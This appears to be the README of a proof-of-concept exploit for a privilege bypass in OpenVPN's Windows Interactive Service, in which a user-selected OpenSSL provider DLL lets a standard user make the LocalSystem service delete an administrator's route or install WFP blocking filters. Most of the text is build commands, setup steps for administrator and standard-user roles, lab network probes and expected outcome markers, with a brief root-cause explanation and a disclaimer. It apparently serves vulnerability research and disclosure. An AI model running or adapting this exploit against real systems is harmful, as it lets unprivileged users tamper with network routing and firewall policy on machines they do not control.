
PoC for an OpenVPN Windows Interactive Service privilege bypass via a user-selected OpenSSL provider.
DeleteIpForwardEntry2() call returns ERROR_ACCESS_DENIED (5), while one type-4 request through OpenVPNServiceInteractive receives ACK 0 and deletes the administrator-created route.FwpmFilterAdd0() call returns ERROR_ACCESS_DENIED (5), while one type-12, flags-1 service request receives ACK 0 and blocks a fresh TCP connection created by a separate administrator principal.The scripts verify the OpenVPN version and signatures, artifact hashes, requester/service/client/provider identities, exact request, and resulting system state.
2.7.8-I002 amd64 at the default installation pathOpenVPNServiceInteractive stopped, Manual, and LocalSystem before setupOpenVPNService stoppedThe WFP observation additionally requires a source VM with isolated TARGET and peerless AUX interfaces, an independent sink VM on TARGET, and no gateway, effective DNS server, NAT, forwarding, or host adapter on either private segment.
Run from this directory:
New-Item -ItemType Directory -Path '.\build' -Force | Out-Null
gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
'-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
-shared -o '.\build\openvpn_route_poc.dll' `
'.\OpenVpnRouteProvider.c' -lshell32 -lws2_32
gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
'-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
-o '.\build\direct-route-probe.exe' `
'.\DirectRouteProbe.c' -liphlpapi -lws2_32
gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
'-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
-shared -o '.\build\openvpn_wfp_poc.dll' `
'.\optional-wfp-outbound-block\OpenVpnWfpBlockProvider.c' -lshell32 -lws2_32
gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
'-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
-o '.\build\direct-wfp-probe.exe' `
'.\optional-wfp-outbound-block\DirectWfpBlockProbe.c' -lfwpuclnt -lrpcrt4
The fixed route is 192.0.2.225/32, next hop 0.0.0.0, metric 4274, protocol NetMgmt, in ActiveStore.
Administrator:
$artifacts = (Resolve-Path '.\build').Path
& '.\Invoke-OpenVpnInteractiveServiceRoutePoC.ps1' -Mode Setup -PrebuiltRoot $artifacts
Standard user:
& '.\Invoke-OpenVpnInteractiveServiceRoutePoC.ps1' -Mode Run
Administrator:
& '.\Invoke-OpenVpnInteractiveServiceRoutePoC.ps1' -Mode Cleanup
Required outcomes:
SETUP_COMPLETE
PRIVILEGED_ROUTE_DELETION_AND_POST_EXIT_ABSENCE_OBSERVED
CLEANUP_COMPLETE
Use 192.0.2.10/24 on source TARGET, 198.51.100.10/24 on source AUX, and 192.0.2.20/24 on sink TARGET. Start this listener in the sink administrator console:
New-NetFirewallRule -DisplayName 'OpenVPN WFP PoC TCP witness' `
-Direction Inbound -Action Allow -Protocol TCP -LocalPort 38443 | Out-Null
$listener = [Net.Sockets.TcpListener]::new([Net.IPAddress]::Any, 38443)
$listener.Start()
while ($true) {
$client = $listener.AcceptTcpClient()
try { (New-Object IO.StreamReader($client.GetStream())).ReadLine() }
finally { $client.Dispose() }
}
Define the traffic probe in the source administrator console:
function Send-Phase([string] $Token) {
$client = New-Object Net.Sockets.TcpClient
try {
$task = $client.ConnectAsync('192.0.2.20', 38443)
if (-not $task.Wait(3000) -or -not $client.Connected) { return $false }
$writer = New-Object IO.StreamWriter($client.GetStream())
$writer.AutoFlush = $true
$writer.WriteLine($Token)
return $true
}
catch { return $false }
finally { $client.Dispose() }
}
Administrator:
$wfp = '.\optional-wfp-outbound-block\Invoke-OpenVpnWfpBlockPoC.ps1'
$artifacts = (Resolve-Path '.\build').Path
$auxIndex = (Get-NetAdapter -Name 'AUX').ifIndex
& $wfp -Mode Setup -AuxInterfaceIndex $auxIndex -PrebuiltRoot $artifacts
Send-Phase 'baseline' # True; sink prints baseline
Standard user:
$wfp = '.\optional-wfp-outbound-block\Invoke-OpenVpnWfpBlockPoC.ps1'
$auxIndex = (Get-NetAdapter -Name 'AUX').ifIndex
& $wfp -Mode Direct -AuxInterfaceIndex $auxIndex
Administrator:
Send-Phase 'post-direct' # True; sink prints post-direct
Same standard user:
& $wfp -Mode Run -AuxInterfaceIndex $auxIndex
Administrator:
& $wfp -Mode Verify -AuxInterfaceIndex $auxIndex
Send-Phase 'active' # False; sink receives no active token
Required outcomes:
SETUP_COMPLETE
DIRECT_WFP_CONTROL_DENIED
WFP_BLOCK_ACTIVE_OBSERVED
WFP_ACTIVE_POLICY_VERIFIED
OpenVPNServiceInteractive launches the official client with the requesting user's environment and an inheritable privileged message-channel handle. OpenVPN initializes the user-selected OpenSSL provider before parsing the service-approved command line and profile, allowing the provider to submit requests that the LocalSystem service applies.
[!CAUTION] LEGAL AND TECHNICAL DISCLAIMER
This code is for controlled research and analysis. The author assumes no liability for damages, system instability, or legal consequences arising from use or misuse of this software.